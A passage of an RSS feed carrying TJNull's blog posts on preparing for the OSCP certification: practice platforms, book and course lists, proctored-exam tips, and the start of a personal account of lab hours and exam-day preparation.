A lot of the cyber competitions in the past few years really helped me build my skills and I still go out once in awhile to find a CTF to compete in for fun 😊.&lt;/p&gt;

&lt;h1 id=&quot;bug-bounty-programs&quot;&gt;Bug Bounty Programs:&lt;/h1&gt;
&lt;p&gt;A great place to practice your skills and to make some possible profit as well! There are many bug bounty programs like Bugcrowd and Hackerone that you can participate for free. If you have never participated in bug bounty before check out Bugcrowd University as they provide a vast amount of material and resources to help you get started: 
&lt;a href=&quot;https://www.bugcrowd.com/university/&quot;&gt;https://www.bugcrowd.com/university/&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&quot;vulnerable-machines&quot;&gt;Vulnerable Machines:&lt;/h1&gt;
&lt;p&gt;Boot-to-Root Vulnerable Machines! These machines are excellent to help you build your skills for pentesting. There are places where you can download them and run them on your system to begin practice or places where you can connect to their range and start hacking into the targets they have. Most of them result in obtaining root or Administrative/System level access in the end. Personally, my two favorite places are Hackthebox and Vulnhub.&lt;/p&gt;

&lt;h3 id=&quot;hackthebox&quot;&gt;&lt;a href=&quot;https://www.hackthebox.eu/&quot;&gt;Hackthebox&lt;/a&gt;:&lt;/h3&gt;
&lt;p&gt;An online penetration testing platform that contains a variety of machines to help you improve your penetration testing skills. For those who have not gone through the registration you will need to pass a challenge to generate yourself an activation code. Once you have generated your activation code, then you will have the ability to access their range. In the free tier you are allowed to play with the 20 active machines they have and they cycle a new system in the range every week and retire an old one there as well. 
If you want to access to their retired machines you will have to get VIP access. It is a very affordable in my opinion, and worth it to invest in. If you do not have the funds to invest into Hackthebox, do not worry because you can certainly find these walkthroughs online (once the boxes are retired). One place I would definitely recommend to look at is IppSec Hackthebox Walkthroughs on YouTube! I love watching his videos because he goes through step by step on how to obtain access onto the target and how to escalate your privileges to obtain root access. Each box has a different scenario and IppSec always has something extra to throw in when he is doing his walkthroughs.&lt;/p&gt;

&lt;p&gt;With that being said I created a list of all of boxes that I did in Hackthebox that I thought were OSCP Like. You can find them here and also check out IppSec playlist he created from the list I recommended to start watching!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/TJNulls_Preparation_Guide_for_PWK/hackthebox.png&quot; alt=&quot;alt-text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I will continue to be updating this list in the future, and if you would like to keep it around you can find it here and on NetSecFocus: &lt;a href=&quot;https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159&quot;&gt;https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;HTB Boxes to Prepare for OSCP (Youtube Playlist): &lt;a href=&quot;https://www.youtube.com/playlist?list=PLidcsTyj9JXK-fnabFLVEvHinQ14Jy5tf&quot;&gt;https://www.youtube.com/playlist?list=PLidcsTyj9JXK-fnabFLVEvHinQ14Jy5tf&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I want to give a huge thanks to ch4p and g0blin for starting Hackthebox! I am glad that I got to talk to you guys and I am grateful that we were able to help you guys out. I look forward to seeing you guys grow and will soon submit a box for you guys in the future!&lt;/p&gt;

&lt;h3 id=&quot;vulnhub&quot;&gt;&lt;a href=&quot;https://www.vulnhub.com/&quot;&gt;Vulnhub&lt;/a&gt;:&lt;/h3&gt;
&lt;p&gt;Just like Hackthebox, except you have to download the vulnerable machines and run them on your local system. You will need VMware or VirtualBox (I recommend VMware workstation) to run these vulnerable systems. Please make sure that you are running these vulnerable systems on an isolated network and not on a public network.&lt;br /&gt;
Thanks to g0tmi1k and his team for hosting this site and to the creators who submit these vulnerable machines. I have also created a list of vulnhub machines that I have found to be OSCP-Like as well. You can find them here and on NetSecFocus:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/TJNulls_Preparation_Guide_for_PWK/vulnhub.png&quot; alt=&quot;alt-text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I will continue to update this list and if you would like a copy for review you can certainly find it here: 
&lt;a href=&quot;https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=0&quot;&gt;https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=0&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Rooting Vulnerable Machines is extremely important when you are preparing for PWK/OSCP because you can’t depend on theoretical knowledge to pass. Improving your hands-on skills will play a huge key role when you are tackling these machines.&lt;/p&gt;

&lt;h1 id=&quot;tips-to-participate-in-the-proctored-oscp-exam&quot;&gt;Tips to participate in the Proctored OSCP exam:&lt;/h1&gt;

&lt;p&gt;As of August 15th, 2018, all OSCP exams have a proctored exam. This means that a student will be monitored by an Offensive Security staff member through a screen sharing and webcam service. If you would like to learn more about this new proctoring process you can find it here: &lt;a href=&quot;https://www.offensive-security.com/offsec/proctoring/&quot;&gt;https://www.offensive-security.com/offsec/proctoring/&lt;/a&gt;
Before I took my exam, I had to go through a variety of things to make sure I was prepared to take my 1st attempt. Even with my preparation, I lost 30 mins of my actual exam time due to troubleshooting the applications for the proctor on my end. With that being said, here are my tips to help you guys prepare for the proctoring section when you are ready to take the exam:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Make sure your system is able to meet the software/hardware requirements that offensive security provides in order to run these services. You can find that information here: &lt;a href=&quot;https://support.offensive-security.com/proctoring-faq/&quot;&gt;https://support.offensive-security.com/proctoring-faq/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Test your webcam to make sure it works. If you do not have a webcam for your system you can also use a spare laptop that has a webcam and connect the webcam session onto that system.&lt;/li&gt;
  &lt;li&gt;The ScreenConnect application needs to be running on your main system that you will be using to connect to your exam.&lt;/li&gt;
  &lt;li&gt;You can use multiple monitors for the exam. Keep in mind that the proctor must be able to see them and that they are connected to your system. The proctor will notify you about how many screens they see and you will need to confirm them with the number monitors you are using. If you use a system that has a monitor and it is not connected to the ScreenConnect application, then you will not be able to use that monitor for the exam.&lt;/li&gt;
  &lt;li&gt;Be prepared and log into your webcam and screenconnect sessions 30 mins before your exam.&lt;/li&gt;
  &lt;li&gt;Proctors cannot provide any assistance during the exam.&lt;/li&gt;
  &lt;li&gt;You can take breaks, a nap, or grab a cup of coffee during your exam. Just make sure you notify the proctor when you leave and when you return for your exam.&lt;/li&gt;
  &lt;li&gt;Also be dressed for your exam. I think that is pretty simple to understand why.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For any other questions you may have you can check out Offensive Security FAQ for Proctored Exams here: &lt;a href=&quot;https://www.offensive-security.com/faq/&quot;&gt;https://www.offensive-security.com/faq/&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&quot;other-resources&quot;&gt;Other Resources:&lt;/h1&gt;
&lt;p&gt;NetSecFocus Learning Resources:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://docs.google.com/spreadsheets/d/12bT8APhWsL-P8mBtWCYu4MLftwG1cPmIL25AEBtXDno/edit#gid=937533738&quot;&gt;https://docs.google.com/spreadsheets/d/12bT8APhWsL-P8mBtWCYu4MLftwG1cPmIL25AEBtXDno/edit#gid=937533738&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;books&quot;&gt;Books:&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;Kali Linux Revealed: &lt;a href=&quot;https://www.kali.org/download-kali-linux-revealed-book/&quot;&gt;https://www.kali.org/download-kali-linux-revealed-book/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Attacking Network Protocols: &lt;a href=&quot;https://nostarch.com/networkprotocols&quot;&gt;https://nostarch.com/networkprotocols&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Red Team Field Manual: &lt;a href=&quot;https://www.amazon.com/Rtfm-Red-Team-Field-Manual/dp/1494295504&quot;&gt;https://www.amazon.com/Rtfm-Red-Team-Field-Manual/dp/1494295504&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Hash-Crack-Password-Cracking-Manual v3: &lt;a href=&quot;https://www.amazon.com/Hash-Crack-Password-Cracking-Manual/dp/1793458618&quot;&gt;https://www.amazon.com/Hash-Crack-Password-Cracking-Manual/dp/1793458618&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;The Hacker Playbook Series: &lt;a href=&quot;https://securepla.net/hacker-playbook/&quot;&gt;https://securepla.net/hacker-playbook/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;The Web Application Hacker Handbook: &lt;a href=&quot;http://mdsec.net/wahh/&quot;&gt;http://mdsec.net/wahh/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Violent Python: &lt;a href=&quot;https://www.amazon.com/Violent-Python-Cookbook-Penetration-Engineers/dp/1597499579&quot;&gt;https://www.amazon.com/Violent-Python-Cookbook-Penetration-Engineers/dp/1597499579&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Black Hat Python: &lt;a href=&quot;https://nostarch.com/blackhatpython&quot;&gt;https://nostarch.com/blackhatpython&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;courses-that-can-help-you-prepare-for-oscp&quot;&gt;Courses that can help you prepare for OSCP:&lt;/h4&gt;

&lt;p&gt;eLearnSecurity: 
eLearnSecurity offers affordable security training and a large amount of labs that you can practice in their hera lab network. They have their own certifications as well that you can take. These are the following courses that I took to help me prepare for OSCP.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Penetration Testing Student (PTS): &lt;a href=&quot;https://www.elearnsecurity.com/course/penetration_testing_student/&quot;&gt;https://www.elearnsecurity.com/course/penetration_testing_student/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Penetration Testing Professional (PTP): &lt;a href=&quot;https://www.elearnsecurity.com/course/penetration_testing/&quot;&gt;https://www.elearnsecurity.com/course/penetration_testing/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Web Application Penetration Testing (WAPT): &lt;a href=&quot;https://www.elearnsecurity.com/course/web_application_penetration_testing/&quot;&gt;https://www.elearnsecurity.com/course/web_application_penetration_testing/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;SANS:
SANS provides a wide variety of information security courses. Each of their courses are taught by very smart instructors who have been in this field for a very long time. However, these courses can be expensive if you are unable to get someone to pay for them. You can also try to apply for the SANS workforce training as well to be able to take their courses at a discount. I have taken most of the SANS course and I feel that the following courses below really helped me get a better understanding of what Pentesting is like in the actual field. Here are the courses that I would recommend if you are looking to prepare for OSCP.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;SANS 560: &lt;a href=&quot;https://www.sans.org/course/network-penetration-testing-ethical-hacking&quot;&gt;https://www.sans.org/course/network-penetration-testing-ethical-hacking&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;SANS 542: &lt;a href=&quot;https://www.sans.org/course/web-app-penetration-testing-ethical-hacking&quot;&gt;https://www.sans.org/course/web-app-penetration-testing-ethical-hacking&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Pentesterlabs: 
A lot of web app pentesting material in this course: 
&lt;a href=&quot;https://pentesterlab.com/&quot;&gt;https://pentesterlab.com/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Pentester Academy: 
&lt;a href=&quot;https://www.pentesteracademy.com/topics&quot;&gt;https://www.pentesteracademy.com/topics&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;other-oscp-guides&quot;&gt;Other OSCP guides:&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://scund00r.com/all/oscp/2018/02/25/passing-oscp.html&quot;&gt;https://scund00r.com/all/oscp/2018/02/25/passing-oscp.html&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://411hall.github.io/OSCP-Preparation&quot;&gt;https://411hall.github.io/OSCP-Preparation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.gitbook.com/book/sushant747/total-oscp-guide&quot;&gt;https://www.gitbook.com/book/sushant747/total-oscp-guide&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://0xc0ffee.io/blog/OSCP-Goldmine&quot;&gt;http://0xc0ffee.io/blog/OSCP-Goldmine&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tulpa-security.com/2016/09/11/review-oscp-and-pwk/&quot;&gt;https://tulpa-security.com/2016/09/11/review-oscp-and-pwk/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://niiconsulting.com/checkmate/2017/06/a-detail-guide-on-oscp-preparation-from-newbie-to-oscp/&quot;&gt;https://niiconsulting.com/checkmate/2017/06/a-detail-guide-on-oscp-preparation-from-newbie-to-oscp/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Other Links:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://practicalpentestlabs.com/&quot;&gt;https://practicalpentestlabs.com/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://immersivelabs.co.uk/&quot;&gt;https://immersivelabs.co.uk/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet&quot;&gt;http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://maikthulhu.github.io/2017-11-20-onenote-layout/&quot;&gt;https://maikthulhu.github.io/2017-11-20-onenote-layout&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion:&lt;/h1&gt;
&lt;p&gt;Welcome! You have arrived to the end of this journey (well not your OSCP journey if you decide to pursue it!). If you read this entire guide, I certainly give you props for doing so. If you read only parts of it, then I still give you props because the main thing that is important to me is that you learned something from it! I hope you are able to use my guide in your OSCP journey and are able to learn some new things, just like I did when I started mine. If this guide was able to help you let me know I want your feedback for sure. I thanked a lot of people for helping me with my journey in this guide and I want to thank them again for their time and contributions for helping me learn and grow in the cyber-security field. 
If anyone has any questions about this guide or feedback please let me know as you can reach out to me on twitter or on NetSecFocus!&lt;/p&gt;

&lt;p&gt;-TJNull
Twitter: &lt;a href=&quot;https://twitter.com/TJ_Null&quot;&gt;https://twitter.com/TJ_Null&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Github: &lt;a href=&quot;https://github.com/tjnull&quot;&gt;https://github.com/tjnull&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Netsec Focus: Tjnull&lt;/p&gt;

&lt;p&gt;Hackthebox Discord AMA: &lt;a href=&quot;https://www.youtube.com/watch?v=41DIav25Mp4&quot;&gt;https://www.youtube.com/watch?v=41DIav25Mp4&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Bugcrowd: &lt;a href=&quot;https://www.bugcrowd.com/researcher-spotlight-ambassador-tony-aka-tj-null/&quot;&gt;https://www.bugcrowd.com/researcher-spotlight-ambassador-tony-aka-tj-null/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;P.S: Considering this journey as an extra mile, I am going to have to insist at this point for you to…… Try Harder! -Offensive Security&lt;/p&gt;

</description>
            <pubDate>Fri, 29 Mar 2019 00:00:00 +0000</pubDate>
        </item>
        
        <item>
            <title>An Adventure to Try Harder: Tjnull&apos;s OSCP Journey</title>
            <link>/oscp/review/2019/01/29/An_Adventure_to_Try_Harder_Tjnulls_OSCP_Journey.html</link>
            <guid isPermaLink="true">/oscp/review/2019/01/29/An_Adventure_to_Try_Harder_Tjnulls_OSCP_Journey.html</guid>
            <description>&lt;h3 id=&quot;dedication&quot;&gt;Dedication:&lt;/h3&gt;
&lt;p&gt;Before I start discussing about my journey, I have a few people that I want to dedicate this blog post.&lt;/p&gt;

&lt;p&gt;First, I want to dedicate this post to my parents and my sisters. Thank you for giving me the time to focus on this and also to prepare for this journey. I know during my journey I did not get to spend much time with you since I was pretty much on the computer every single day just prepping for this. I cannot thank you enough for supporting me and to keep pushing me to follow my dream. I will always be here for you.&lt;/p&gt;

&lt;p&gt;Lastly, I want to thank the InfoSec community. A lot of you reached out to me in so many ways to check up on me and to support me through this journey. I know there were times where I even ranted to you about my journey and you were there to comfort me. I could list every single person that has reached out to me during this journey and this post would just be endless! Thank you for inspiring and also motivating me to learn more. I hope that I can always help someone in this field to learn something and be able to provide support when they are need.&lt;/p&gt;

&lt;p&gt;You know who you are and you should give your self a pat on the back :D!&lt;/p&gt;

&lt;p&gt;We live in a crazy time and the InfoSec world is only going to continue to grow at a rapid pace.&lt;/p&gt;

&lt;p&gt;Now here what you all have been waiting for…&lt;/p&gt;

&lt;h3 id=&quot;motivation-to-take-oscp&quot;&gt;Motivation to take OSCP:&lt;/h3&gt;

&lt;p&gt;When I was a senior in high school, my instructor for my Security+ course gave me my first hacking cd (Backtrack 5r3) and a Backtrack Cookbook. Throughout the class we would go through a chapter of the book each week and we do hands on labs/exercises to identify security issues or vulnerabilities. I fell in love with it and I knew becoming a hacker or a pentester was going to be my career for me. In high school I had my A+, Net+, and my CCNA but I was always curious about what pentesting certifications were out there which led me to OSCP. After looking at the syllabus I knew I was not ready but I was destined to get this certification on the first try for preparing for it.&lt;/p&gt;

&lt;h3 id=&quot;previous-experience&quot;&gt;Previous Experience:&lt;/h3&gt;

&lt;p&gt;I’ve been in the IT/Cyber Security Field since 2012 (If you count education experience really). I started working as a depot repair technician fixing broken laptops and I hated it. After working there, I was offered an opportunity to be a cyber lab technician for a community college that I graduated from. That place is where I learned so much more about cyber security because my co-worker and I had to spin up the entire program from the ground up…It was awesome! My coordinator would assign me with so many tasks which gave me the ability to learn more and to hone my skills. After two years I took another position to work for govt contractor as a SOC Analyst because the college was unable to hire me full time. I never left the college though because I was offered to be an adjunct professor and teach the Ethical Hacking class they offered.&lt;/p&gt;

&lt;p&gt;One thing that I enjoyed in high school and throughout college was competing in cyber competitions like Cyber Patriot and National Cyber league. These competitions really help me get more engaged in cyber security and I still enjoy competing today. In the past 5 years I have competed in 205 competitions including MACCDC, ALCCDC, Global Cyberlympics, and my favorite one of all SANS NETWARS. I won my first my time competing at SANS Netwars and was given the opportunity to compete in the SANS Tournament of Champions and it was incredible. 
With my work experience, trainings, and personal hobbies I was able to obtain a lot of exposure to the field and improve my skillsets which helped me through my journey.&lt;/p&gt;

&lt;p&gt;•	Operating Systems: Windows, Linux
•	Windows Server Administration
•	Virtualization: Vmware, Citrix, Proxmox
•	Networking (Cisco Routers Switches, DHCP, DNS, Wireshark, and configuring firewalls)
•	Programming: Python, Bash, Ruby&lt;/p&gt;

&lt;h3 id=&quot;trainings-i-took-before-i-attempted-oscp&quot;&gt;Trainings I took before I attempted OSCP:&lt;/h3&gt;

&lt;p&gt;2012-2015
Comptia A+ training.
CompTia Net+ and CCNA Routing and Switching.
Security+ training.
Microsoft MCSA training.&lt;/p&gt;

&lt;p&gt;2016-2017:
CISCO CCNA Cyber Ops training.&lt;/p&gt;

&lt;p&gt;2017-2018:
SANS 504: Hacker Tools, Techniques, Exploits, and Incident Handling
SANS 560: Network Penetration Testing and Ethical Hacking
SANS 542: Web App Penetration Testing and Ethical Hacking
SANS 573: Automating Information Security with Python
SANS 564: Red Team Operations and Threat Emulation
Derbycon 2018 Training: Windows Attack and Defense
Elearnsecurity: Penetration Testing Professional v5&lt;/p&gt;

&lt;p&gt;(I have to thank my employer currently for the SANS Courses because they are very supportive for my education and helping me to continue to learn more about this field.)&lt;/p&gt;

&lt;h3 id=&quot;pre-requisites-for-pwk&quot;&gt;Pre-Requisites for PWK:&lt;/h3&gt;

&lt;p&gt;From my perspective I was nervous at first reading the pre-requisites for taking the OSCP course but I will say this don’t let them throw you off really. Even when it states “Familiarity of Bash scripting with basic Python or Perl a plus” will definitely help you but it is not really a requirement. I am not saying you shouldn’t learn python, perl, or ruby. What I am trying to say is as long as you have an understanding of the programing language and you can understand the scripts, then you will be fine.&lt;/p&gt;

&lt;p&gt;As practice for fun I would take exploits online (Metasploit Modules for sure!) and write them in another programming language. For instance, take an exploit that is written in python and write it in ruby. Now there are many ways you can learn more about programming online! You just have to find which material or resources will work for you. Personally, being hands on writing scripts was the best way I got to learn more about python, ruby, and bash. In the SANS 573 class Mark Baggett created all of the lab assignments using pywars to make us write the proper scripts to solve the python challenges he created.&lt;/p&gt;

&lt;p&gt;Here are some resources that I used to help me prepare for the PWK labs and the OSCP Exam.&lt;/p&gt;

&lt;h3 id=&quot;abatchys-noob-friendly-guide-to-prepare-for-oscp&quot;&gt;Abatchy’s noob friendly guide to prepare for OSCP:&lt;/h3&gt;

&lt;p&gt;https://www.abatchy.com/2017/03/how-to-prepare-for-pwkoscp-noob&lt;/p&gt;

&lt;p&gt;A good list of resources that are open source you can use to prepare for the PWK/OSCP. Abatchy is also a good friend of mine and my next post will be a guide like his but updated with more resources. Take the time to go through this material as the structure of his guide is based on the syllabus for the OSCP.&lt;/p&gt;

&lt;h3 id=&quot;vulnhub&quot;&gt;Vulnhub:&lt;/h3&gt;
&lt;p&gt;The only way to prepare yourself is to get your hands dirty. Vulnhub contains a large collection of vulnerable machines that you can go through to test your skills. I posted a list on twitter a few days ago that contain OSCP-Like boxes that I used to prepare for the class.&lt;/p&gt;

&lt;p&gt;Link to the OSCP-Like Vulnhub Boxes: https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=0&lt;/p&gt;

&lt;h3 id=&quot;hackthebox&quot;&gt;Hackthebox:&lt;/h3&gt;

&lt;p&gt;Hackthebox is a fantastic online platform allowing members to test their penetration testing skills. There are so many challenges and machines that get released on a weekly basis. The best part is that it is free to the community! You need to pass the first challenge to obtain an invite code in order to play with their challenges. If you get VIP access you can be able to go through a large amount of the retired boxes as well.&lt;/p&gt;

&lt;p&gt;If you cannot afford VIP access do not worry because IppSec has a fantastic YouTube channel where he does full on walkthrough’s showing you how to obtain user and root access on the system. Each week he usually tries to add some new content for each box and it really helped me when he did when I was in the PWK labs.&lt;/p&gt;

&lt;p&gt;As of January 29, 2019, here is a list of HacktheBox machines that are OSCP Like: https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159 
Link to Ippsec youtube playlist: https://www.youtube.com/playlist?list=PLidcsTyj9JXK-fnabFLVEvHinQ14Jy5tf&lt;/p&gt;

&lt;p&gt;If there is anything that you should focus on while preparing to start PWK is to make sure you have enough time invest into the labs. Seriously, I managed my time in the labs and would spend at least 4-5 hours a on weekday in the lab and over 5 hours on the weekend for sure. Make sure you talk to your family, girlfriend, boyfriend, friends, or anyone else to let them know about what you are going to be doing for the next 30, 60, or 90 days! Trust me I had to remind my father a few times about what I was doing as he would yell at me to get off of the computer XD. The total amount of time I dedicated to the lab and the exam was exactly 212 hours. As long as you can dedicate 5 hours per day or 20 hours per week to study you should do fine in the labs.&lt;/p&gt;

&lt;h3 id=&quot;the-90-day-journey-for-mepwk-course-time&quot;&gt;The 90-day journey for me…PWK-Course Time!&lt;/h3&gt;

&lt;p&gt;So, you registered for the course great! You should have gotten your links for your lab material which contains the following: 
•	380-page pdf manual going through the course material
•	A set of videos to go along with the course material
•	VPN connection pack to access the PWK lab environment&lt;/p&gt;

&lt;p&gt;For the first few days I will admit the pdf can be dry with the content provided but if you watch the videos with it can be very enjoyable. The exercises were super fun as well and when you do them document them as well. When I finished the videos and manual, I went through some of the sections that I felt weak on to hone my skills on them. For instance, I went through the buffer overflow section many times just to understand the process of it. If you are just starting out then you will certainly enjoy the exercises as much I did because they are direct walkthroughs of how to complete each exercise step by step. Seriously, I have to give my props to Offsec because they definitely put the time and energy to make it easy and clear to understand the material. If you get stuck or are having issues with your exercises remember to check the Offsec forum because there may be a chance that other students could be having the same issues as well.&lt;/p&gt;

&lt;p&gt;As an extra bonus Offsec allows you to get extra points if you document your walkthrough of exploiting 10 systems and all of the exercises. The max score you can get for doing this is 5 points depending on how well you documented your exercises and 10 lab boxes.&lt;br /&gt;
I did the documentation for this to obtain the extra 5 points since it could come in handy but also it is a great way to improve your documentation skills. This is extremely important because you will have to write a report at the end of your OSCP exam as well. The lab report took me a total of 25 hours (Over 5 Days) to document.&lt;/p&gt;

&lt;h3 id=&quot;pwk-lab-network&quot;&gt;PWK Lab Network:&lt;/h3&gt;

&lt;p&gt;Now comes the lab network! This part of the course is the best part in my opinion and I got extremely addicted to it. Over 50 lab machines in 3 separate networks (Public, IT, Dev, and Admin) that you get to hack…let the fun begin! I spent a total of 127 hours in the PWK Lab network and I was able to pwn the entire lab network in 28 days. The labs are super addicting for sure because each box has its own range of difficulty that can be extremely easy to the point where you can get extremely frustrated. I remember owning 17 boxes in 14 hours for one day and then getting stuck on a system in the admin network for 3 days straight.&lt;/p&gt;

&lt;p&gt;Each machine will test your ability to from understanding the lessons taught from the course content but even your research ability as well. This is where you get to build your own methodology when you attack these machines and remember everyone has their own different methodology. In addition, your ability to google-fu will help you tremendously here to identify new techniques, tools, understanding services, and learning more about the operating systems itself. After you own a machine make sure you document everything you did to obtain a shell or even how you priv esc to obtain a full shell. You will realize that there is not just one way to own a machine as each machine in PWK can have multiple attack vectors.&lt;/p&gt;

&lt;p&gt;Things to keep in mind when you are attempting the lab network:&lt;/p&gt;

&lt;p&gt;•	Enumerate Enumerate Enumerate! (Port scan (UDP Scan as well!), version scan, OS scan, web scan, research, etc)
•	Understand the purpose of the system (What does it do?, Who uses it?, Why was it created?)
•	Documenting your steps will help you for sure as you can review them and they may come in handy for another machine you are working on. I used OneNote for Windows 10 for my documentation and it was fantastic to use. My notes were also synced to the cloud so I did not have to worry about losing them and I had the ability to review them from multiple devices if needed.
If you would like to use the OneNote template that I used for the labs and the exam you can find it here (Credit goes all to maik for making this): https://maikthulhu.github.io/2017-11-20-onenote-layout/ 
•	Track your hours spent to see your improvement and it will help you understand how you are using your time wisely in the lab.&lt;/p&gt;

&lt;h3 id=&quot;oscp-exam-prep&quot;&gt;OSCP Exam Prep:&lt;/h3&gt;

&lt;p&gt;Sorry I will not being giving anyway spoilers about the exam but I will share my advice to you on how I prepared for it 😊. After pwning all of the machines in the lab I had two weeks to prepare for my exam! Keep in mind that the exam slots do fill up fast so make sure that you schedule your OSCP exam at least one month in advance. If you are unable to commit in that time do not worry at all because you can always re-schedule it for a later day to help better prepare yourself for it.&lt;/p&gt;

&lt;p&gt;One blog that I have to give credit to for helping me prep for the exam mentally was this one below: 
https://www.vortex.id.au/2017/05/oscp-exam-preparation-exam-day-report-day/ 
Definitely take some time to read it because it does help you prepare mentally before the exam. With vortex advice I thought I share with you all what I did to prepare in my final days before the exam.&lt;/p&gt;

&lt;h3 id=&quot;5-days-from-the-oscp-exam&quot;&gt;5 days from the OSCP exam:&lt;/h3&gt;

&lt;p&gt;During my preparation I started gathering my cheatsheets, tools, exploits, and prepping my notes ahead of time making it easy instead of me scrambling to find them during my exam. Once you have everything prepped make sure you make a backup of your kali system and also create snapshots in case you need to revert.&lt;/p&gt;

&lt;p&gt;Another tip I will also mention is take some time to draft your exam report. Even if you pass or fail it is good to have it already set up since you are not wasting more time creating it during the 24 hours given from Offsec to submit the report to them. 
For the proctor part of your exam you can use your laptop for your webcam! Make sure that it works and that it is also not in the way of your desk area when you are taking the exam. Plan your attack strategy and think of how you are going to attack each target in your exam.&lt;/p&gt;

&lt;h3 id=&quot;3-days-from-the-oscp-exam&quot;&gt;3 days from the OSCP Exam:&lt;/h3&gt;

&lt;p&gt;Grab your snacks, prep your meals, and make sure you have your caffenine ready for this 23 hours and 45 minute exam you are about to take. Also get a music playlist set up. I was jamming to few of my rock and roll playlists and I also started with and of course playing some dual core in the beginning of my exam! 
All the things by Dual Core: https://open.spotify.com/track/3ZzxtumoIENCi16HAKuiLU?si=XNGD5WAkTC602wjzslIiXg&lt;/p&gt;

&lt;h3 id=&quot;1-day-from-your-oscp-exam&quot;&gt;1 day from your OSCP Exam:&lt;/h3&gt;

&lt;p&gt;If you have done everything that I have recommended then the the only thing you should be doing is rest. Hands off the keyboard! Go spend time with your family or friends to let your mind relax. Stressing over your exam is not going to help you when you have to take it tomorrow and make sure to have positive thoughts. Reflect on what you have achieved and what you have done. Make sure you go to bed early and also find a quiet place to sleep so you are not distracted by someone. Also do not drink to much…1 beer is okay but do not go overboard 😉&lt;/p&gt;

&lt;h3 id=&quot;oscp-exam&quot;&gt;OSCP Exam:&lt;/h3&gt;

&lt;p&gt;IT’s Time! Today is the day you take your exam. Now do not rush everything you have make sure you get up an hour or two early from your exam. During that time go make breakfast and get your stuff setup and running. Check your vm’s and have your cheat sheets ready to go on your system.&lt;/p&gt;

&lt;p&gt;Before the last hour till you start your OSCP exam, login into the webcam program and screen connect program to make sure that those applications are working. I logged in 30mins before my OSCP exam and they were not able to see my webcam on their end for the exam. I had to work with offsec to troubleshoot this issue until we figured out another resolution. By the time we figured out a resolution offsec sent me my exam VPN connection pack and I losted 30mins of my exam time because of it.&lt;/p&gt;

&lt;p&gt;My attack strategy that I planned actually failed because at certain times since I was unable to get anything working. I was worried that I was going to fail but during those times I was reminded by someone and I also had a lot of support from the infosec community rooting for me to pass. I was not ready to quit that easy. There was one person that mentioned this tip to me about the exam that I will always remember: 
“you’re going to run out of ideas before you run out of time. take breaks. walk away for a bit. dont be afraid to go to sleep for a few hours, especially if youre stuck” -0xdf&lt;/p&gt;

